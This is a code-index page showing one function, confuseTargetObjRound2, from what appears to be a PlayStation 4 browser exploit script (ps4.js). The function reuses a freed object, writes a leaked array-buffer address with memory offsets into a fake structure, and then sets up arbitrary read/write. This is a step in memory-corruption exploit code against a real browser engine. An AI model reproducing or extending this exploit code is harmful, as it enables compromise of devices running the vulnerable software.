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Function confuseTargetObjRound2

restore/75x/ps4.js:182–189  ·  view source on GitHub ↗
()

Source from the content-addressed store, hash-verified

180 * and before deleteBubbleTree
181 */
182function confuseTargetObjRound2() {
183 if (findTargetObj() === false)
184 die("[!] Failed to reuse target obj.");
185
186 g_fake_validation_message[4] = g_jsview_leak.add(OFFSET_JSAB_VIEW_LENGTH + 5 - OFFSET_HTMLELEMENT_REFCOUNT).asDouble();
187
188 setTimeout(setupRW, 6000);
189}
190
191
192/* Executed after deleteBubbleTree */

Callers

nothing calls this directly

Calls 3

findTargetObjFunction · 0.70
dieFunction · 0.70
addMethod · 0.45

Tested by

no test coverage detected